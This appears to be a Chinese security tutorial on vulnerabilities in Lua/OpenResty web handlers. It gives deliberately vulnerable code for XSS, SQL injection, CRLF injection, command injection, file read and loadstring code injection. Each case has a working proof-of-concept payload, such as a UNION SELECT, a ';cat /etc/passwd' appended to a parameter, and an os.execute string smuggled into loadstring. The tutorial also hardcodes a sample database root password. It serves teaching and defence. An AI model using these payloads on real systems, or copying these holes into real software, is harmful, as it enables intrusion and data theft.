Lua 5.1.4
nginx/1.9.15
lua-nginx-module-0.10.5
location /sec_ngx_lua {
content_by_lua_file /opt/lua_module/content.lua;
}
lua_package_path '/opt/lua_module/?.lua;;';
lua_code_cache on;
local _M = {}
function _M.xss()
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
ngx.say(name)
end
return _M
local vul = require "vuls"
vul.xss();
漏洞代码:
function _M.xss()
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
ngx.say(name)
end
http://joychou.me/sec_ngx_lua?name=<script>alert(9527)</script>
local _M = {}
function close_db(db)
if not db then
return
end
db:close()
end
function _M.sqli()
local mysql = require("mysql")
local db, err = mysql: new()
ngx.header.content_type = "text/html"
if not db then
ngx.say("new mysql error :", err)
return
end
db:set_timeout(1000)
local props = {
host = "127.0.0.1",
port = 3306,
database = "lua",
user = "root",
password = "joychouisgood"
}
local res, err, errno, sqlstate = db:connect(props)
if not res then
ngx.say("connect to mysql error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)
return close_db(db)
end
local uid = ngx.req.get_uri_args().uid
local select_sql = "select id, name from info where id =" .. uid
res, err, errno, sqlstate = db:query(select_sql)
if not res then
ngx.say("select error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)
return close_db(db)
end
for i, row in ipairs(res) do
for id, name in pairs(row) do
ngx.say("row ", i, " : ", id, " = ", name, "<br/>")
end
end
end
return _M
mysql> select * from info;
+----+---------+
| id | name |
+----+---------+
| 1 | joychou |
| 2 | smilent |
+----+---------+
2 rows in set (0.00 sec)
http://joychou.me/sec_ngx_lua?uid=2 UNION ALL SELECT CONCAT(0x7162766271,0x744a75536365647154756a6d51436a746b656b6e4f796c4e6461565153537254727851564f6a4c61,0x716a787871),NULL-- cils
id = qbvbqtJuScedqTujmQCjtkeknOylNdaVQSSrTrxQVOjLaqjxxq
参数外部可控的情况下,可使用%0d%0a进行CRLR注入。
function _M.crlf_injection()
local user = ngx.req.get_uri_args().user or ""
ngx.header.content_type = "text/html"
ngx.header['X-Test'] = user
ngx.say('crlf inject sec test')
end
➜ ~ curl -v 'http://joychou.me/sec_ngx_lua?user=demo%0d%0aSet-cookie:JSPSESSID%3Djoychou'
* Trying 35.185.163.135...
* Connected to joychou.me (35.185.163.135) port 80 (#0)
> GET /sec_ngx_lua?user=demo%0d%0aSet-cookie:JSPSESSID%3Djoychou HTTP/1.1
> Host: joychou.me
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.9.15
< Date: Tue, 13 Jun 2017 09:34:12 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Test: demo
< Set-cookie:JSPSESSID=joychou
<
crlf inject sec test
io.popen
os.execute (执行操作系统shell命令)
function _M.cmd_injection()
ngx.header.content_type = "text/plain"
local user = ngx.req.get_uri_args().user or ""
local handle = io.popen("ls -l /home/"..user)
local result = handle:read("*a")
handle:close()
ngx.say(result)
end
漏洞验证:
➜ ~ curl 'http://joychou.me/sec_ngx_lua?user=root;cat%20/etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
function _M.file_read()
local file = ngx.req.get_uri_args().file or ""
ngx.header.content_type = "text/html"
local f = io.open(file..".txt")
local ret = f:read("*a")
f.close()
ngx.say(ret)
end
http://joychou.me/sec_ngx_lua?file=/etc/hosts%00
先来看下loadstring造成的代码注入的实例:
> x="os.execute('echo 111 > /tmp/xx')"
> assert(loadstring(x))()
[root@sectest]# cat /tmp/xx
111
require,dofile,loadfile,dostring,loadstring,loadlib,load
function _M.code_injection()
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
local html = string.format([[
ngx.say("Hello, %s")
ngx.say("Today is "..os.date())
]], name)
loadstring(html)()
end
漏洞证明:
http://joychou.me/sec_ngx_lua?name=joychou") os.execute("echo 2333 > /tmp/xxx
[root@sectest]# cat /tmp/xxx
2333
Lua Web Application Security Vulnerabilities